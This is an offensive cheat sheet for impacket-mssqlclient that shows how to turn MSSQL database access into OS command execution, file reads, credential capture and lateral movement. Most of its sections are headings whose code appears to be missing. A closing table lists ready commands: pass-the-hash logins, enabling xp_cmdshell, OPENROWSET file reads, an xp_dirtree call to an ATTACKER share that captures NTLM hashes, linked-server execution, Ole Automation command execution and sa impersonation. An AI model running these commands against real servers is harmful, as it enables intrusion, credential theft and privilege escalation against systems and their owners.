Overview
impacket-mssqlclient is an interactive MSSQL client that supports SQL auth, Windows/NTLM auth, pass-the-hash, and Kerberos. Once connected, escalate from database access to OS command execution, file reads, and lateral movement.
Authentication
SQL Authentication
Windows Authentication
Pass-the-Hash
Kerberos Authentication
Custom Port
Basic Connection
Enable xp_cmdshell
xp_cmdshell executes OS commands. Disabled by default — requires sysadmin to enable.
Via sp_configure
Using the Built-in Command
The mssqlclient shell has a shortcut:Execute OS Commands via xp_cmdshell
File Read
OPENROWSET
BULK INSERT
Capture NTLM Hash via xp_dirtree
Force the MSSQL service account to authenticate to your SMB server, capturing its NetNTLMv2 hash.Linked Servers
Linked servers allow querying remote MSSQL instances through the current one. They often run with elevated privileges.Enumerate Linked Servers
Execute Through Links
Ole Automation Procedures
sp_OACreate provides an alternative to xp_cmdshell for command execution and file operations.
Enable Ole Automation
Write a File
Execute a Command via Ole Automation
Enable xp_cmdshell via Ole Automation
Whensp_configure is blocked (trigger/policy), use Ole Automation to modify the registry directly and enable xp_cmdshell.
RECONFIGURE to apply changes.
EXECUTE AS LOGIN (Impersonation)
If your user has impersonation privileges, escalate by executing as a more privileged login.Enumerate Impersonation Privileges
Impersonate and Escalate
Database-Level Impersonation
Quick Reference
| Task | Command / Query |
|---|---|
| SQL auth connect | impacket-mssqlclient sa:'pass'@HOST |
| Windows auth | impacket-mssqlclient DOMAIN/user:'pass'@HOST -windows-auth |
| Pass-the-hash | impacket-mssqlclient DOMAIN/user@HOST -windows-auth -hashes :NTLM |
| Kerberos auth | impacket-mssqlclient -k -no-pass HOST |
| Check sysadmin | SELECT IS_SRVROLEMEMBER('sysadmin') |
| Enable xp_cmdshell | enable_xp_cmdshell (mssqlclient shortcut) |
| OS command | EXEC xp_cmdshell 'whoami' |
| Read file | SELECT * FROM OPENROWSET(BULK 'path', SINGLE_CLOB) AS c |
| Capture NTLM hash | EXEC xp_dirtree '\\ATTACKER\SHARE' |
| List linked servers | EXEC sp_linkedservers |
| Exec on linked server | EXEC ('query') AT [LINKED-SRV] |
| Ole Automation exec | sp_OACreate 'WScript.Shell' + sp_OAMethod 'Run' |
| Impersonate login | EXECUTE AS LOGIN = 'sa' |
| Check impersonation | Query sys.server_permissions where type = 'IM' |